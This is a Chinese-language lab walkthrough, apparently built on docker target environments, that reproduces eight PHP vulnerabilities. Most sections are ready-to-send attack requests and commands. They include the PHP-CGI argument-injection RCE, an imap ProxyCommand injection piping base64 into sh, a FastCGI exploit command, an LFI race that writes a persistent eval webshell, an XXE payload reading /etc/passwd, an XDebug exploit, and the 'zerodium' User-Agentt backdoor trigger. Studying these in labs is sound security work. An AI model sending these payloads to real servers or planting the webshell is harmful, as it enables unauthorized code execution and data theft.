一、 CVE-2012-1823_PHP-CGI远程代码执行漏洞
漏洞详情
- 参考文章 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
- 影响版本 php < 5.3.12 or php < 5.4.2
测试环境
靶场:192.68.4.10_ubuntu
#docker-compose up -d
环境启动后,访问`http://your-ip:8080/`可见“Hello”字样。
访问`http://your-ip:8080/index.php?-s`即爆出源码,说明漏洞存在。
```
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
```
二、 CVE-2018-19518_PHP imap 远程命令执行漏洞
漏洞详情
php imap扩展用于在PHP中执行邮件收发操作。其`imap_open`函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置`-oProxyCommand=`来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
漏洞环境
#docker-compose up -d
目标源码在[index.php](www/index.php)
漏洞复现
发送如下数据包即可成功执行命令`echo '1234567890'>/tmp/test0001`:
```
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
```
执行`docker-compose exec web bash`进入容器,可见`/tmp/test0001`已成功创建:
三、 CVE-2019-11043_ PHP-FPM 远程代码执行漏洞
漏洞详情
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
漏洞环境
#docker-compose up -d
环境启动后,访问`http://your-ip:8080/index.php`即可查看到一个默认页面。
漏洞复现
Msf复现
四、 PHP-FPM Fastcgi 未授权访问漏洞
漏洞原理
详见<https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>。
环境搭建
直接执行`docker-compose up -d`即可运行测试环境,环境监听9000端口。
Exp见
#python3 poc.py 192.168.4.10 -c '<?php echo `id`; exit; ?>' -p 9000 /usr/local/lib/php/PEAR.php
执行结果:
五、 PHP文件包含漏洞(利用phpinfo)
漏洞详情
PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
漏洞环境
#docker-compose up -d
目标环境是官方最新版PHP7.2,说明该漏洞与PHP版本无关。
环境启动后,访问`http://your-ip:8080/phpinfo.php`即可看到一个PHPINFO页面
访问`http://your-ip:8080/lfi.php?file=/etc/passwd`,可见的确存在文件包含漏洞。
漏洞利用
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是`/tmp/php[6个随机字符]`),文件名可以在`$_FILES`变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到`$_FILES`变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
漏洞复现
利用脚本[exp.py](exp.py)实现了上述过程,成功包含临时文件后,会执行`<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>`,写入一个新的文件`/tmp/g`,这个文件就会永久留在目标机器上。
用python2执行:`python exp.py your-ip 8080 100`:
可见,执行到第289个数据包的时候就写入成功。然后,利用lfi.php,即可执行任意命令:
http://192.168.4.10:8080/lfi.php?file=/tmp/g&1=system(%27id%27);
六、 PHP环境 XML外部实体注入漏洞(XXE)
漏洞环境
- PHP 7.0.30
- libxml 2.8.0
漏洞详情
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
#docker-compose up -d
环境启动后,访问`http://your-ip:8080/index.php`即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。
漏洞复现
```bash
$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
```
`dom.php`、`SimpleXMLElement.php`、`simplexml_load_string.php`均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
Simple XXE Payload:
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
```
输出:
七、 XDebug 远程调试漏洞(代码执行)
漏洞详情
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置`remote_connect_back = 1`:
```
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
```
测试环境
靶场:192.168.4.29_kali
#docker-compose build
#docker-compose up -d
启动完成后,访问`http://your-ip:8080/`即可发现主页是一个简单的phpinfo,在其中可以找到xdebug的配置,可见开启了远程调试。
漏洞利用
因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞。
使用环境自带pexp:
```
# 要求用python3并安装requests库
python3 exp.py -t http://192.168.4.29:8080/index.php -c 'shell_exec('id');'
```
八、 PHP 8.1.0-dev 开发版本后门事件
漏洞详情
PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送**User-Agentt**头来执行任意代码。
漏洞环境
靶场:192.168.4.10_ubuntu
执行如下命令启动一个存在后门的PHP 8.1服务器:
#docker-compose up -d
环境启动后,服务运行在`http://your-ip:8080`。
漏洞复现
发送如下数据包,可见代码`var_dump(233*233);`成功执行:
```
GET / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
User-Agentt: zerodiumvar_dump(233*233);
Connection: close
```